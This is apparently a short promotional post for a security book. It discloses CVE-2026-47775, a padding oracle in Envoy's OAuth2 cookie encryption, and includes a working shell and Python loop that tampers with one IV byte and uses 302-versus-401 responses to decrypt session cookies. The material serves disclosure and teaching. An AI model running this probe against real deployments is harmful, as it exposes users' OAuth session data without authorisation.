
Classic Padding Oracle in 2026 Envoy is a reverse proxy running in front of a huge chunk of the web. Targets doing OAuth2 login behind it were exposed to this. CVE-2026-47775. Envoy’s OAuth2 filter encrypted a cookie and never checked if it was tampered with. # Try all 256 values at one IV byte, watch for 302 for i in $(seq 0 255); do curl -sib "codeVerifier=$(python3 -c "import sys,base64;c=bytearray(base64.urlsafe_b64decode('$COOKIE'));c[15]=$i;print(base64.urlsafe_b64encode(bytes(c)).decode())")" "$URL/callback" | head -1 | grep -q 302 && echo $i; done # 255 give 401, one gives 302. That's the oracle hit. ~6,200 requests. ~100 seconds. Full cookie decrypted, no key needed. AfterMath Ch4 teaches you to recognize this shape (two outcomes, one leaks state) on your next target. 58 pages. 21 CVEs. Every PoC fires a real request.
Post summary
The text discloses CVE-2026-47775, a Padding Oracle vulnerability in Envoy's OAuth2 filter, and provides a working PoC script demonstrating byte-by-byte cookie decryption via differential error responses.

